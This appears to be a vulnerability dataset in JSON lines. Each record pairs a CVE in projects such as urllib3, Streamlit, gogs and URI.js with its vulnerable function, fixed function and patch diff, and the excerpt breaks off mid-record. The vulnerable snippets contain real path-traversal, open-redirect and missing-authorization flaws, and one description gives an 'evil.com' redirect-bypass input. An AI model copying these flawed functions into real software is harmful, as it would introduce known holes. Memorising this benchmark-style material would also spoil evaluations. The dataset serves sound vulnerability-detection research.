{"cve_id": "CVE-2021-23393", "cve_description": "This affects the package Flask-Unchained before 0.9.0. When using the the _validate_redirect_url function, it is possible to bypass URL validation and redirect a user to an arbitrary URL by providing multiple back slashes such as \\\\\\evil.com/path. This vulnerability is only exploitable if an alternative WSGI server other than Werkzeug is used, or the default behaviour of Werkzeug is modified using 'autocorrect_location_header=False.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/briancappello/flask-unchained", "patch_url": ["https://github.com/briancappello/flask-unchained/commit/71e36b28166f9ffbe0a991f51127f0984f7e6a40", "https://github.com/briancappello/flask-unchained/commit/2bfeedf1bc31df851cab8c66df0c432b10406aad"], "programing_language": "Python", "vul_func": [{"id": "vul_py_202_1", "commit": "2bfeedf", "file_path": "flask_unchained/bundles/controller/utils.py", "start_line": 186, "end_line": 188, "snippet": "def encode_non_url_reserved_characters(url):\n    # safe url reserved characters: https://datatracker.ietf.org/doc/html/rfc3986#section-2.2\n    return urlquote(url, safe=\":/?#[]@!$&'()*+,;=\")"}], "fix_func": [{"id": "fix_py_202_1", "commit": "71e36b2", "file_path": "flask_unchained/bundles/controller/utils.py", "start_line": 186, "end_line": 188, "snippet": "def encode_non_url_reserved_characters(url):\n    # safe url reserved characters: https://datatracker.ietf.org/doc/html/rfc3986#section-2.2\n    return urlquote(url, safe=\":/?#[]@!$&'()*+,;=<>\")"}], "vul_patch": "--- a/flask_unchained/bundles/controller/utils.py\n+++ b/flask_unchained/bundles/controller/utils.py\n@@ -1,3 +1,3 @@\n def encode_non_url_reserved_characters(url):\n     # safe url reserved characters: https://datatracker.ietf.org/doc/html/rfc3986#section-2.2\n-    return urlquote(url, safe=\":/?#[]@!$&'()*+,;=\")\n+    return urlquote(url, safe=\":/?#[]@!$&'()*+,;=<>\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-5159", "cve_description": "python-kdcproxy before 0.3.2 allows remote attackers to cause a denial of service via a large POST request.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/latchset/kdcproxy", "patch_url": ["https://github.com/latchset/kdcproxy/commit/f274aa6787cb8b3ec1cc12c440a56665b7231882"], "programing_language": "Python", "vul_func": [{"id": "vul_py_315_1", "commit": "e4a7119", "file_path": "kdcproxy/__init__.py", "start_line": "172", "end_line": "276", "snippet": "    def __call__(self, env, start_response):\n        try:\n            # Validate the method\n            method = env[\"REQUEST_METHOD\"].upper()\n            if method != \"POST\":\n                raise HTTPException(405, \"Method not allowed (%s).\" % method)\n\n            # Parse the request\n            try:\n                length = int(env[\"CONTENT_LENGTH\"])\n            except AttributeError:\n                length = -1\n            try:\n                pr = codec.decode(env[\"wsgi.input\"].read(length))\n            except codec.ParsingError as e:\n                raise HTTPException(400, e.message)\n\n            # Find the remote proxy\n            servers = self.__resolver.lookup(\n                pr.realm,\n                kpasswd=isinstance(pr, codec.KPASSWDProxyRequest)\n            )\n            if not servers:\n                raise HTTPException(503, \"Can't find remote (%s).\" % pr)\n\n            # Contact the remote server\n            reply = None\n            wsocks = []\n            rsocks = []\n            for server in map(urlparse.urlparse, servers):\n                # Enforce valid, supported URIs\n                scheme = server.scheme.lower().split(\"+\", 1)\n                if scheme[0] not in (\"kerberos\", \"kpasswd\"):\n                    continue\n                if len(scheme) > 1 and scheme[1] not in (\"tcp\", \"udp\"):\n                    continue\n\n                # Do the DNS lookup\n                try:\n                    port = server.port\n                    if port is None:\n                        port = scheme[0]\n                    addrs = socket.getaddrinfo(server.hostname, port)\n                except socket.gaierror:\n                    continue\n\n                # Sort addresses so that we get TCP first.\n                #\n                # Stick a None address on the end so we can get one\n                # more attempt after all servers have been contacted.\n                addrs = tuple(sorted(filter(self.__filter_addr, addrs)))\n                for addr in addrs + (None,):\n                    if addr is not None:\n                        # Bypass unspecified socktypes\n                        if (len(scheme) > 1\n                                and addr[1] != self.SOCKTYPES[scheme[1]]):\n                            continue\n\n                        # Create the socket\n                        sock = socket.socket(*addr[:3])\n                        sock.setblocking(0)\n\n                        # Connect\n                        try:\n                            # In Python 2.x, non-blocking connect() throws\n                            # socket.error() with errno == EINPROGRESS. In\n                            # Python 3.x, it throws io.BlockingIOError().\n                            sock.connect(addr[4])\n                        except socket.error as e:\n                            if e.errno != 115:  # errno != EINPROGRESS\n                                sock.close()\n                                continue\n                        except io.BlockingIOError:\n                            pass\n                        wsocks.append(sock)\n\n                    # Resend packets to UDP servers\n                    for sock in tuple(rsocks):\n                        if self.sock_type(sock) == socket.SOCK_DGRAM:\n                            wsocks.append(sock)\n                            rsocks.remove(sock)\n\n                    # Call select()\n                    timeout = time.time() + (15 if addr is None else 2)\n                    reply = self.__await_reply(pr, rsocks, wsocks, timeout)\n                    if reply is not None:\n                        break\n\n                if reply is not None:\n                    break\n\n            for sock in rsocks + wsocks:\n                sock.close()\n\n            if reply is None:\n                raise HTTPException(503, \"Remote unavailable (%s).\" % pr)\n\n            # Return the result to the client\n            raise HTTPException(200, codec.encode(reply),\n                                [(\"Content-Type\", \"application/kerberos\")])\n        except HTTPException as e:\n            start_response(str(e), e.headers)\n            return [e.message]\n\napplication = Application()"}], "fix_func": [{"id": "fix_py_315_1", "commit": "f274aa6", "file_path": "kdcproxy/__init__.py", "start_line": "173", "end_line": "281", "snippet": "    def __call__(self, env, start_response):\n        try:\n            # Validate the method\n            method = env[\"REQUEST_METHOD\"].upper()\n            if method != \"POST\":\n                raise HTTPException(405, \"Method not allowed (%s).\" % method)\n\n            # Parse the request\n            try:\n                length = int(env[\"CONTENT_LENGTH\"])\n            except AttributeError:\n                raise HTTPException(411, \"Length required.\")\n            if length < 0:\n                raise HTTPException(411, \"Length required.\")\n            if length > self.MAX_LENGTH:\n                raise HTTPException(413, \"Request entity too large.\")\n            try:\n                pr = codec.decode(env[\"wsgi.input\"].read(length))\n            except codec.ParsingError as e:\n                raise HTTPException(400, e.message)\n\n            # Find the remote proxy\n            servers = self.__resolver.lookup(\n                pr.realm,\n                kpasswd=isinstance(pr, codec.KPASSWDProxyRequest)\n            )\n            if not servers:\n                raise HTTPException(503, \"Can't find remote (%s).\" % pr)\n\n            # Contact the remote server\n            reply = None\n            wsocks = []\n            rsocks = []\n            for server in map(urlparse.urlparse, servers):\n                # Enforce valid, supported URIs\n                scheme = server.scheme.lower().split(\"+\", 1)\n                if scheme[0] not in (\"kerberos\", \"kpasswd\"):\n                    continue\n                if len(scheme) > 1 and scheme[1] not in (\"tcp\", \"udp\"):\n                    continue\n\n                # Do the DNS lookup\n                try:\n                    port = server.port\n                    if port is None:\n                        port = scheme[0]\n                    addrs = socket.getaddrinfo(server.hostname, port)\n                except socket.gaierror:\n                    continue\n\n                # Sort addresses so that we get TCP first.\n                #\n                # Stick a None address on the end so we can get one\n                # more attempt after all servers have been contacted.\n                addrs = tuple(sorted(filter(self.__filter_addr, addrs)))\n                for addr in addrs + (None,):\n                    if addr is not None:\n                        # Bypass unspecified socktypes\n                        if (len(scheme) > 1\n                                and addr[1] != self.SOCKTYPES[scheme[1]]):\n                            continue\n\n                        # Create the socket\n                        sock = socket.socket(*addr[:3])\n                        sock.setblocking(0)\n\n                        # Connect\n                        try:\n                            # In Python 2.x, non-blocking connect() throws\n                            # socket.error() with errno == EINPROGRESS. In\n                            # Python 3.x, it throws io.BlockingIOError().\n                            sock.connect(addr[4])\n                        except socket.error as e:\n                            if e.errno != 115:  # errno != EINPROGRESS\n                                sock.close()\n                                continue\n                        except io.BlockingIOError:\n                            pass\n                        wsocks.append(sock)\n\n                    # Resend packets to UDP servers\n                    for sock in tuple(rsocks):\n                        if self.sock_type(sock) == socket.SOCK_DGRAM:\n                            wsocks.append(sock)\n                            rsocks.remove(sock)\n\n                    # Call select()\n                    timeout = time.time() + (15 if addr is None else 2)\n                    reply = self.__await_reply(pr, rsocks, wsocks, timeout)\n                    if reply is not None:\n                        break\n\n                if reply is not None:\n                    break\n\n            for sock in rsocks + wsocks:\n                sock.close()\n\n            if reply is None:\n                raise HTTPException(503, \"Remote unavailable (%s).\" % pr)\n\n            # Return the result to the client\n            raise HTTPException(200, codec.encode(reply),\n                                [(\"Content-Type\", \"application/kerberos\")])\n        except HTTPException as e:\n            start_response(str(e), e.headers)\n            return [e.message]\n\napplication = Application()"}, {"id": "fix_py_315_2", "commit": "f274aa6", "file_path": "kdcproxy/__init__.py", "start_line": "64", "end_line": "64", "snippet": "    MAX_LENGTH = 128 * 1024"}], "vul_patch": "--- a/kdcproxy/__init__.py\n+++ b/kdcproxy/__init__.py\n@@ -9,7 +9,11 @@\n             try:\n                 length = int(env[\"CONTENT_LENGTH\"])\n             except AttributeError:\n-                length = -1\n+                raise HTTPException(411, \"Length required.\")\n+            if length < 0:\n+                raise HTTPException(411, \"Length required.\")\n+            if length > self.MAX_LENGTH:\n+                raise HTTPException(413, \"Request entity too large.\")\n             try:\n                 pr = codec.decode(env[\"wsgi.input\"].read(length))\n             except codec.ParsingError as e:\n\n--- /dev/null\n+++ b/kdcproxy/__init__.py\n@@ -0,0 +1 @@\n+    MAX_LENGTH = 128 * 1024\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31502", "cve_description": "The operatorequals/wormnest repository through 0.4.7 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/operatorequals/wormnest", "patch_url": ["https://github.com/operatorequals/wormnest/commit/2dfe96fc2570586ac487b399ac20d41b3c114861"], "programing_language": "Python", "vul_func": [{"id": "vul_py_264_1", "commit": "dd98162", "file_path": "app.py", "start_line": 113, "end_line": 141, "snippet": "def dir_listing(req_path):\n  '''\n  Found here:\nhttps://stackoverflow.com/questions/23718236/python-flask-browsing-through-directory-with-files\n  '''\n  # Joining the base and the requested path\n  abs_path = os.path.join(CONFIG['SRV_DIR'], req_path)\n\n  # Return 404 if path doesn't exist\n  if not os.path.exists(abs_path):\n    return abort(404)\n\n  # Check if path is a file and serve\n  if os.path.isfile(abs_path):\n    return send_file(abs_path)\n\n  # Show directory contents\n  files = os.listdir(abs_path)\n  full_paths = []\n  for f in files:\n    full_paths.append(\n      (f, os.path.join(request.base_url, f))\n    )\n  # print (full_paths)\n  add_url_link = \"%s%s/add\" % (request.url_root, CONFIG['MANAGE_URL_DIR'])\n  return render_template('file.html',\n    files=full_paths,\n    add_url=add_url_link\n    )"}], "fix_func": [{"id": "fix_py_264_1", "commit": "2dfe96f", "file_path": "app.py", "start_line": 113, "end_line": 141, "snippet": "def dir_listing(req_path):\n  '''\n  Found here:\nhttps://stackoverflow.com/questions/23718236/python-flask-browsing-through-directory-with-files\n  '''\n  # Joining the base and the requested path\n  abs_path = safe_join(CONFIG['SRV_DIR'], req_path)\n\n  # Return 404 if path doesn't exist\n  if not os.path.exists(abs_path):\n    return abort(404)\n\n  # Check if path is a file and serve\n  if os.path.isfile(abs_path):\n    return send_file(abs_path)\n\n  # Show directory contents\n  files = os.listdir(abs_path)\n  full_paths = []\n  for f in files:\n    full_paths.append(\n      (f, os.path.join(request.base_url, f))\n    )\n  # print (full_paths)\n  add_url_link = \"%s%s/add\" % (request.url_root, CONFIG['MANAGE_URL_DIR'])\n  return render_template('file.html',\n    files=full_paths,\n    add_url=add_url_link\n    )"}], "vul_patch": "--- a/app.py\n+++ b/app.py\n@@ -4,7 +4,7 @@\n https://stackoverflow.com/questions/23718236/python-flask-browsing-through-directory-with-files\n   '''\n   # Joining the base and the requested path\n-  abs_path = os.path.join(CONFIG['SRV_DIR'], req_path)\n+  abs_path = safe_join(CONFIG['SRV_DIR'], req_path)\n \n   # Return 404 if path doesn't exist\n   if not os.path.exists(abs_path):\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0871", "cve_description": "Missing Authorization in GitHub repository gogs/gogs prior to 0.12.5.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/gogs/gogs", "patch_url": ["https://github.com/gogs/gogs/commit/64102be2c90e1b47dbdd379873ba76c80d4b0e78"], "programing_language": "Go", "vul_func": [{"id": "vul_go_204_1", "commit": "91f2cde", "file_path": "internal/auth/pam/pam.go", "start_line": 15, "end_line": 35, "snippet": "func PAMAuth(serviceName, userName, passwd string) error {\n\tt, err := pam.StartFunc(serviceName, userName, func(s pam.Style, msg string) (string, error) {\n\t\tswitch s {\n\t\tcase pam.PromptEchoOff:\n\t\t\treturn passwd, nil\n\t\tcase pam.PromptEchoOn, pam.ErrorMsg, pam.TextInfo:\n\t\t\treturn \"\", nil\n\t\t}\n\t\treturn \"\", errors.New(\"Unrecognized PAM message style\")\n\t})\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err = t.Authenticate(0); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_204_1", "commit": "64102be2c90e1b47dbdd379873ba76c80d4b0e78", "file_path": "internal/auth/pam/pam.go", "start_line": 15, "end_line": 35, "snippet": "func PAMAuth(serviceName, userName, passwd string) error {\n\tt, err := pam.StartFunc(serviceName, userName, func(s pam.Style, msg string) (string, error) {\n\t\tswitch s {\n\t\tcase pam.PromptEchoOff:\n\t\t\treturn passwd, nil\n\t\tcase pam.PromptEchoOn, pam.ErrorMsg, pam.TextInfo:\n\t\t\treturn \"\", nil\n\t\t}\n\t\treturn \"\", errors.New(\"Unrecognized PAM message style\")\n\t})\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = t.Authenticate(0)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn t.AcctMgmt(0)\n}"}], "vul_patch": "--- a/internal/auth/pam/pam.go\n+++ b/internal/auth/pam/pam.go\n@@ -13,9 +13,9 @@\n \t\treturn err\n \t}\n \n-\tif err = t.Authenticate(0); err != nil {\n+\terr = t.Authenticate(0)\n+\tif err != nil {\n \t\treturn err\n \t}\n-\n-\treturn nil\n+\treturn t.AcctMgmt(0)\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-25091", "cve_description": "urllib3 before 1.24.2 does not remove the authorization HTTP header when following a cross-origin redirect (i.e., a redirect that differs in host, port, or scheme). This can allow for credentials in the authorization header to be exposed to unintended hosts or transmitted in cleartext. NOTE: this issue exists because of an incomplete fix for CVE-2018-20060 (which was case-sensitive).", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/urllib3/urllib3", "patch_url": ["https://github.com/urllib3/urllib3/commit/adb358f8e06865406d1f05e581a16cbea2136fbc"], "programing_language": "Python", "vul_func": [{"id": "vul_py_391_1", "commit": "adb358f8e06865406d1f05e581a16cbea2136fbc", "file_path": "src/urllib3/poolmanager.py", "start_line": 302, "end_line": 359, "snippet": "\n    def urlopen(self, method, url, redirect=True, **kw):\n        \"\"\"\n        Same as :meth:`urllib3.connectionpool.HTTPConnectionPool.urlopen`\n        with custom cross-host redirect logic and only sends the request-uri\n        portion of the ``url``.\n\n        The given ``url`` parameter must be absolute, such that an appropriate\n        :class:`urllib3.connectionpool.ConnectionPool` can be chosen for it.\n        \"\"\"\n        u = parse_url(url)\n        conn = self.connection_from_host(u.host, port=u.port, scheme=u.scheme)\n\n        kw['assert_same_host'] = False\n        kw['redirect'] = False\n\n        if 'headers' not in kw:\n            kw['headers'] = self.headers.copy()\n\n        if self.proxy is not None and u.scheme == \"http\":\n            response = conn.urlopen(method, url, **kw)\n        else:\n            response = conn.urlopen(method, u.request_uri, **kw)\n\n        redirect_location = redirect and response.get_redirect_location()\n        if not redirect_location:\n            return response\n\n        # Support relative URLs for redirecting.\n        redirect_location = urljoin(url, redirect_location)\n\n        # RFC 7231, Section 6.4.4\n        if response.status == 303:\n            method = 'GET'\n\n        retries = kw.get('retries')\n        if not isinstance(retries, Retry):\n            retries = Retry.from_int(retries, redirect=redirect)\n\n        # Strip headers marked as unsafe to forward to the redirected location.\n        # Check remove_headers_on_redirect to avoid a potential network call within\n        # conn.is_same_host() which may use socket.gethostbyname() in the future.\n        if (retries.remove_headers_on_redirect\n                and not conn.is_same_host(redirect_location)):\n            headers = list(six.iterkeys(kw['headers']))\n            for header in headers:\n                if header.lower() in retries.remove_headers_on_redirect:\n                    kw['headers'].pop(header, None)\n\n        try:\n            retries = retries.increment(method, url, response=response, _pool=conn)\n        except MaxRetryError:\n            if retries.raise_on_redirect:\n                raise\n            return response\n\n        kw['retries'] = retries\n        kw['redirect'] = redirect"}, {"id": "vul_py_391_2", "commit": "a252e2549ff797fe13e688f05296fa496e0c469a", "file_path": "src/urllib3/util/retry.py", "start_line": 159, "end_line": 182, "snippet": "    def __init__(self, total=10, connect=None, read=None, redirect=None, status=None,\n                 method_whitelist=DEFAULT_METHOD_WHITELIST, status_forcelist=None,\n                 backoff_factor=0, raise_on_redirect=True, raise_on_status=True,\n                 history=None, respect_retry_after_header=True,\n                 remove_headers_on_redirect=DEFAULT_REDIRECT_HEADERS_BLACKLIST):\n\n        self.total = total\n        self.connect = connect\n        self.read = read\n        self.status = status\n\n        if redirect is False or total is False:\n            redirect = 0\n            raise_on_redirect = False\n\n        self.redirect = redirect\n        self.status_forcelist = status_forcelist or set()\n        self.method_whitelist = method_whitelist\n        self.backoff_factor = backoff_factor\n        self.raise_on_redirect = raise_on_redirect\n        self.raise_on_status = raise_on_status\n        self.history = history or tuple()\n        self.respect_retry_after_header = respect_retry_after_header\n        self.remove_headers_on_redirect = remove_headers_on_redirect"}], "fix_func": [{"id": "fix_py_391_1", "commit": "a252e2549ff797fe13e688f05296fa496e0c469a", "file_path": "src/urllib3/poolmanager.py", "start_line": 303, "end_line": 362, "snippet": "        \"\"\"\n        Same as :meth:`urllib3.connectionpool.HTTPConnectionPool.urlopen`\n        with custom cross-host redirect logic and only sends the request-uri\n        portion of the ``url``.\n\n        The given ``url`` parameter must be absolute, such that an appropriate\n        :class:`urllib3.connectionpool.ConnectionPool` can be chosen for it.\n        \"\"\"\n        u = parse_url(url)\n        conn = self.connection_from_host(u.host, port=u.port, scheme=u.scheme)\n\n        kw['assert_same_host'] = False\n        kw['redirect'] = False\n\n        if 'headers' not in kw:\n            kw['headers'] = self.headers.copy()\n\n        if self.proxy is not None and u.scheme == \"http\":\n            response = conn.urlopen(method, url, **kw)\n        else:\n            response = conn.urlopen(method, u.request_uri, **kw)\n\n        redirect_location = redirect and response.get_redirect_location()\n        if not redirect_location:\n            return response\n\n        # Support relative URLs for redirecting.\n        redirect_location = urljoin(url, redirect_location)\n\n        # RFC 7231, Section 6.4.4\n        if response.status == 303:\n            method = 'GET'\n\n        retries = kw.get('retries')\n        if not isinstance(retries, Retry):\n            retries = Retry.from_int(retries, redirect=redirect)\n\n        # Strip headers marked as unsafe to forward to the redirected location.\n        # Check remove_headers_on_redirect to avoid a potential network call within\n        # conn.is_same_host() which may use socket.gethostbyname() in the future.\n        if (retries.remove_headers_on_redirect\n                and not conn.is_same_host(redirect_location)):\n            for header in retries.remove_headers_on_redirect:\n                kw['headers'].pop(header, None)\n\n        try:\n            retries = retries.increment(method, url, response=response, _pool=conn)\n        except MaxRetryError:\n            if retries.raise_on_redirect:\n                raise\n            return response\n\n        kw['retries'] = retries\n        kw['redirect'] = redirect\n\n        log.info(\"Redirecting %s -> %s\", url, redirect_location)\n        return self.urlopen(method, redirect_location, **kw)\n\n\nclass ProxyManager(PoolManager):"}, {"id": "fix_py_391_2", "commit": "adb358f8e06865406d1f05e581a16cbea2136fbc", "file_path": "src/urllib3/util/retry.py", "start_line": 159, "end_line": 183, "snippet": "    def __init__(self, total=10, connect=None, read=None, redirect=None, status=None,\n                 method_whitelist=DEFAULT_METHOD_WHITELIST, status_forcelist=None,\n                 backoff_factor=0, raise_on_redirect=True, raise_on_status=True,\n                 history=None, respect_retry_after_header=True,\n                 remove_headers_on_redirect=DEFAULT_REDIRECT_HEADERS_BLACKLIST):\n\n        self.total = total\n        self.connect = connect\n        self.read = read\n        self.status = status\n\n        if redirect is False or total is False:\n            redirect = 0\n            raise_on_redirect = False\n\n        self.redirect = redirect\n        self.status_forcelist = status_forcelist or set()\n        self.method_whitelist = method_whitelist\n        self.backoff_factor = backoff_factor\n        self.raise_on_redirect = raise_on_redirect\n        self.raise_on_status = raise_on_status\n        self.history = history or tuple()\n        self.respect_retry_after_header = respect_retry_after_header\n        self.remove_headers_on_redirect = frozenset([\n            h.lower() for h in remove_headers_on_redirect])"}], "vul_patch": "--- a/src/urllib3/poolmanager.py\n+++ b/src/urllib3/poolmanager.py\n@@ -1,5 +1,3 @@\n-\n-    def urlopen(self, method, url, redirect=True, **kw):\n         \"\"\"\n         Same as :meth:`urllib3.connectionpool.HTTPConnectionPool.urlopen`\n         with custom cross-host redirect logic and only sends the request-uri\n@@ -42,10 +40,8 @@\n         # conn.is_same_host() which may use socket.gethostbyname() in the future.\n         if (retries.remove_headers_on_redirect\n                 and not conn.is_same_host(redirect_location)):\n-            headers = list(six.iterkeys(kw['headers']))\n-            for header in headers:\n-                if header.lower() in retries.remove_headers_on_redirect:\n-                    kw['headers'].pop(header, None)\n+            for header in retries.remove_headers_on_redirect:\n+                kw['headers'].pop(header, None)\n \n         try:\n             retries = retries.increment(method, url, response=response, _pool=conn)\n@@ -56,3 +52,9 @@\n \n         kw['retries'] = retries\n         kw['redirect'] = redirect\n+\n+        log.info(\"Redirecting %s -> %s\", url, redirect_location)\n+        return self.urlopen(method, redirect_location, **kw)\n+\n+\n+class ProxyManager(PoolManager):\n\n--- a/src/urllib3/util/retry.py\n+++ b/src/urllib3/util/retry.py\n@@ -21,4 +21,5 @@\n         self.raise_on_status = raise_on_status\n         self.history = history or tuple()\n         self.respect_retry_after_header = respect_retry_after_header\n-        self.remove_headers_on_redirect = remove_headers_on_redirect\n+        self.remove_headers_on_redirect = frozenset([\n+            h.lower() for h in remove_headers_on_redirect])\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-35918", "cve_description": "Streamlit is a data oriented application development framework for python. Users hosting Streamlit app(s) that use custom components are vulnerable to a directory traversal attack that could leak data from their web server file-system such as: server logs, world readable files, and potentially other sensitive information. An attacker can craft a malicious URL with file paths and the streamlit server would process that URL and return the contents of that file. This issue has been resolved in version 1.11.1. Users are advised to upgrade. There are no known workarounds for this issue.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/streamlit/streamlit", "patch_url": ["https://github.com/streamlit/streamlit/commit/80d9979d5f4a00217743d607078a1d867fad8acf"], "programing_language": "Python", "vul_func": [{"id": "vul_py_380_1", "commit": "4a04eefe248b9af28ba5b563e54d665f68e49116", "file_path": "lib/streamlit/components/v1/components.py", "start_line": 310, "end_line": 336, "snippet": "    def get(self, path: str) -> None:\n        parts = path.split(\"/\")\n        component_name = parts[0]\n        component_root = self._registry.get_component_path(component_name)\n        if component_root is None:\n            self.write(\"not found\")\n            self.set_status(404)\n            return\n\n        filename = \"/\".join(parts[1:])\n        abspath = os.path.join(component_root, filename)\n\n        LOGGER.debug(\"ComponentRequestHandler: GET: %s -> %s\", path, abspath)\n\n        try:\n            with open(abspath, \"rb\") as file:\n                contents = file.read()\n        except (OSError) as e:\n            LOGGER.error(f\"ComponentRequestHandler: GET {path} read error\", exc_info=e)\n            self.write(\"read error\")\n            self.set_status(404)\n            return\n\n        self.write(contents)\n        self.set_header(\"Content-Type\", self.get_content_type(abspath))\n\n        self.set_extra_headers(path)"}], "fix_func": [{"id": "fix_py_380_1", "commit": "80d9979d5f4a00217743d607078a1d867fad8acf", "file_path": "lib/streamlit/components/v1/components.py", "start_line": 310, "end_line": 344, "snippet": "    def get(self, path: str) -> None:\n        parts = path.split(\"/\")\n        component_name = parts[0]\n        component_root = self._registry.get_component_path(component_name)\n        if component_root is None:\n            self.write(\"not found\")\n            self.set_status(404)\n            return\n\n        # follow symlinks to get an accurate normalized path\n        component_root = os.path.realpath(component_root)\n        filename = \"/\".join(parts[1:])\n        abspath = os.path.realpath(os.path.join(component_root, filename))\n\n        # Do NOT expose anything outside of the component root.\n        if os.path.commonprefix([component_root, abspath]) != component_root:\n            self.write(\"forbidden\")\n            self.set_status(403)\n            return\n\n        LOGGER.debug(\"ComponentRequestHandler: GET: %s -> %s\", path, abspath)\n\n        try:\n            with open(abspath, \"rb\") as file:\n                contents = file.read()\n        except (OSError) as e:\n            LOGGER.error(f\"ComponentRequestHandler: GET {path} read error\", exc_info=e)\n            self.write(\"read error\")\n            self.set_status(404)\n            return\n\n        self.write(contents)\n        self.set_header(\"Content-Type\", self.get_content_type(abspath))\n\n        self.set_extra_headers(path)"}], "vul_patch": "--- a/lib/streamlit/components/v1/components.py\n+++ b/lib/streamlit/components/v1/components.py\n@@ -7,8 +7,16 @@\n             self.set_status(404)\n             return\n \n+        # follow symlinks to get an accurate normalized path\n+        component_root = os.path.realpath(component_root)\n         filename = \"/\".join(parts[1:])\n-        abspath = os.path.join(component_root, filename)\n+        abspath = os.path.realpath(os.path.join(component_root, filename))\n+\n+        # Do NOT expose anything outside of the component root.\n+        if os.path.commonprefix([component_root, abspath]) != component_root:\n+            self.write(\"forbidden\")\n+            self.set_status(403)\n+            return\n \n         LOGGER.debug(\"ComponentRequestHandler: GET: %s -> %s\", path, abspath)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1233", "cve_description": "URL Confusion When Scheme Not Supplied in GitHub repository medialize/uri.js prior to 1.19.11.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/medialize/uri.js", "patch_url": ["https://github.com/medialize/uri.js/commit/88805fd3da03bd7a5e60947adb49d182011f1277"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_107_1", "commit": "926b2aa", "file_path": "src/URI.js", "start_line": 491, "end_line": 553, "snippet": "  URI.parse = function(string, parts) {\n    var pos;\n    if (!parts) {\n      parts = {\n        preventInvalidHostname: URI.preventInvalidHostname\n      };\n    }\n\n    string = string.replace(URI.leading_whitespace_expression, '')\n\n    // [protocol\"://\"[username[\":\"password]\"@\"]hostname[\":\"port]\"/\"?][path][\"?\"querystring][\"#\"fragment]\n\n    // extract fragment\n    pos = string.indexOf('#');\n    if (pos > -1) {\n      // escaping?\n      parts.fragment = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract query\n    pos = string.indexOf('?');\n    if (pos > -1) {\n      // escaping?\n      parts.query = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // slashes and backslashes have lost all meaning for the web protocols (https, http, wss, ws)\n    string = string.replace(/^(https?|ftp|wss?)?:+[/\\\\]*/i, '$1://');\n\n    // extract protocol\n    if (string.substring(0, 2) === '//') {\n      // relative-scheme\n      parts.protocol = null;\n      string = string.substring(2);\n      // extract \"user:pass@host:port\"\n      string = URI.parseAuthority(string, parts);\n    } else {\n      pos = string.indexOf(':');\n      if (pos > -1) {\n        parts.protocol = string.substring(0, pos) || null;\n        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {\n          // : may be within the path\n          parts.protocol = undefined;\n        } else if (string.substring(pos + 1, pos + 3).replace(/\\\\/g, '/') === '//') {\n          string = string.substring(pos + 3);\n\n          // extract \"user:pass@host:port\"\n          string = URI.parseAuthority(string, parts);\n        } else {\n          string = string.substring(pos + 1);\n          parts.urn = true;\n        }\n      }\n    }\n\n    // what's left must be the path\n    parts.path = string;\n\n    // and we're done\n    return parts;\n  };"}], "fix_func": [{"id": "fix_js_107_1", "commit": "88805fd", "file_path": "src/URI.js", "start_line": 491, "end_line": 555, "snippet": "  URI.parse = function(string, parts) {\n    var pos;\n    if (!parts) {\n      parts = {\n        preventInvalidHostname: URI.preventInvalidHostname\n      };\n    }\n\n    string = string.replace(URI.leading_whitespace_expression, '')\n\n    // [protocol\"://\"[username[\":\"password]\"@\"]hostname[\":\"port]\"/\"?][path][\"?\"querystring][\"#\"fragment]\n\n    // extract fragment\n    pos = string.indexOf('#');\n    if (pos > -1) {\n      // escaping?\n      parts.fragment = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // extract query\n    pos = string.indexOf('?');\n    if (pos > -1) {\n      // escaping?\n      parts.query = string.substring(pos + 1) || null;\n      string = string.substring(0, pos);\n    }\n\n    // slashes and backslashes have lost all meaning for the web protocols (https, http, wss, ws)\n    string = string.replace(/^(https?|ftp|wss?)?:+[/\\\\]*/i, '$1://');\n    // slashes and backslashes have lost all meaning for scheme relative URLs\n    string = string.replace(/^[/\\\\]{2,}/i, 